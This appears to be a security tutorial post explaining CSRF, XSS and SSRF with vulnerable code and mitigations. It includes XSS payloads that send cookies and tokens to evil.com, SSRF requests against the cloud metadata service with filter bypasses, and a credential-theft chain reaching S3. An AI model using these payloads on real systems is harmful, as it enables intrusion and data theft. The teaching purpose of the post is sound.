In the race to adopt new frameworks and microservices, fundamental web security flaws remain dangerously prevalent. CSRF, XSS, and SSRF aren't just theoretical concepts — they're practical attacks that exploit the core trust models of web applications. Let's examine why these vintage vulnerabilities persist and how they work at a code level.

1. Cross-Site Request Forgery (CSRF): The Session Hijack

The Vulnerability: CSRF tricks a user's browser into executing unwanted actions on a web application where they're authenticated.

Vulnerable Code Example:

<!-- Simple form without CSRF protection -->
<form action="https://bank.com/transfer" method="POST">
    <input type="hidden" name="amount" value="1000">
    <input type="hidden" name="to_account" value="attacker_account">
    <input type="submit" value="View Funny Cat Picture!">
</form>

The Attack Flow:

  1. User logs in bank.com (session cookie stored)
  2. User visits a malicious site containing the above form
  3. Form auto-submits via JavaScript: document.forms[0].submit()
  4. The browser sends the session cookie with the transfer request
  5. Bank processes the transaction, believing it's legitimate

Secure Implementation with CSRF Tokens:

<?php
// Generate token when serving form
$csrf_token = bin2hex(random_bytes(32));
$_SESSION['csrf_token'] = $csrf_token;
?>

<form action="https://bank.com/transfer" method="POST">
    <input type="hidden" name="amount" value="1000">
    <input type="hidden" name="to_account" value="attacker_account">
    <input type="hidden" name="csrf_token" value="<?php echo $csrf_token; ?>">
    <input type="submit" value="Transfer">
</form>

<!-- Backend validation -->
<?php
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die("CSRF validation failed");
}
process_transfer($_POST['amount'], $_POST['to_account']);
?>

2. Cross-Site Scripting (XSS): The DOM Injection

The Vulnerability: Malicious scripts are injected into web pages viewed by other users.

Vulnerable Code Example:

// Dangerous: Direct DOM injection without sanitization
const userComment = getParameter('comment'); // From URL or database
document.getElementById('comment-section').innerHTML = userComment;
// Attack payload in URL:
// ?comment=<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>

Reflected XSS Attack:

GET /search?q=<script>alert('XSS')</script> HTTP/1.1
Host: vulnerable-site.com

Stored XSS Example:

-- Malicious comment stored in database
INSERT INTO comments (text, user_id) VALUES (
    '<script>stealCredentials()</script>',
    123
);

Secure Mitigation Techniques:

Content Security Policy (HTTP Header):

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com;

Input Sanitization with DOMPurify:

import DOMPurify from 'dompurify';

const userInput = getParameter('comment');
const cleanHTML = DOMPurify.sanitize(userInput);
document.getElementById('comment-section').innerHTML = cleanHTML;

Safe Output Encoding:

<?php
// Always encode output
$userData = $_GET['search_term'];
echo htmlspecialchars($userData, ENT_QUOTES, 'UTF-8');
?>

3. Server-Side Request Forgery (SSRF): The Internal Network Proxy

The Vulnerability: Attackers force the server to make requests to internal resources.

Vulnerable Code Example:

from flask import request
import requests

@app.route('/proxy')
def proxy_image():
    url = request.args.get('url')  # User-controlled parameter
    # Vulnerable: No validation of internal URLs
    response = requests.get(url)
    return response.content

# Attack: Access cloud metadata service
# GET /proxy?url=http://169.254.169.254/latest/meta-data/

Advanced SSRF Exploitation:

# Bypassing basic filters with URL encoding
/proxy?url=http://0177.0.0.1/admin
/proxy?url=http://2130706433/admin  # Decimal IP
/proxy?url=http://localhost.admin.evil.com/ # DNS rebinding

Secure SSRF Protection:

import requests
from urllib.parse import urlparse
import ipaddress

def is_internal_url(url):
    """Validate URL is not internal"""
    hostname = urlparse(url).hostname
    
    # Resolve hostname to check for internal IPs
    try:
        ip = ipaddress.ip_address(hostname)
        return ip.is_private
    except:
        # Domain name - check against allowlist
        allowed_domains = ['cdn.example.com', 'images.trusted.org']
        return hostname not in allowed_domains

@app.route('/proxy')
def secure_proxy():
    url = request.args.get('url')
    
    if is_internal_url(url):
        return "Error: Internal URLs not allowed", 403
    
    # Use allowlist approach instead
    allowed_hosts = ['cdn.example.com', 'images.trusted.org']
    if urlparse(url).hostname not in allowed_hosts:
        return "Error: Domain not allowed", 403
        
    response = requests.get(url, timeout=5)
    return response.content

Modern Attack Scenarios in 2025:

Cloud Metadata SSRF Attack Chain:

# Step 1: Get IAM role from metadata service
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Step 2: Extract temporary credentials
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "..."
}
# Step 3: Use credentials to access S3 buckets
aws s3 ls s3://company-data --region us-east-1

XSS to Token Theft:

// Modern XSS payload targeting Single Page Applications
fetch('/api/user/profile', {
    headers: {'Authorization': 'Bearer ' + localStorage.accessToken}
})
.then(r => r.json())
.then(data => {
    // Exfiltrate sensitive data to attacker server
    fetch('https://evil.com/collect', {
        method: 'POST',
        body: JSON.stringify(data)
    });
});

Defense-in-Depth Implementation:

Security Headers Configuration:

# Comprehensive security headers
add_header Content-Security-Policy "default-src 'self'";
add_header X-Frame-Options "SAMEORIGIN";
add_header X-Content-Type-Options "nosniff";
add_header Referrer-Policy "strict-origin-when-cross-origin";
add_header Permissions-Policy "geolocation=(), microphone=()";

Automated Security Testing:

# GitHub Actions workflow for security testing
name: Security Scan
on: [push, pull_request]
jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Run ZAP Scan
        uses: zaproxy/action-full-scan@v0.10.0
        with:
          target: 'https://example.com'
      - name: Semgrep SAST
        uses: returntocorp/semgrep-action@v1.0.0

The Reality in 2025:

These vulnerabilities persist because modern architectures introduce new attack surfaces:

  • Microservices: Internal network SSRF becomes more dangerous
  • SPAs: Client-side XSS risks increase with complex state management
  • APIs: Stateless authentication requires robust CSRF alternatives

Your Call to Action

Implement these security measures today:

  1. Add CSP headers to all web responses
  2. Validate ALL user input with strict allowlists
  3. Use framework security features (Spring Security, Django CSRF, etc.)
  4. Regularly scan dependencies for known vulnerabilities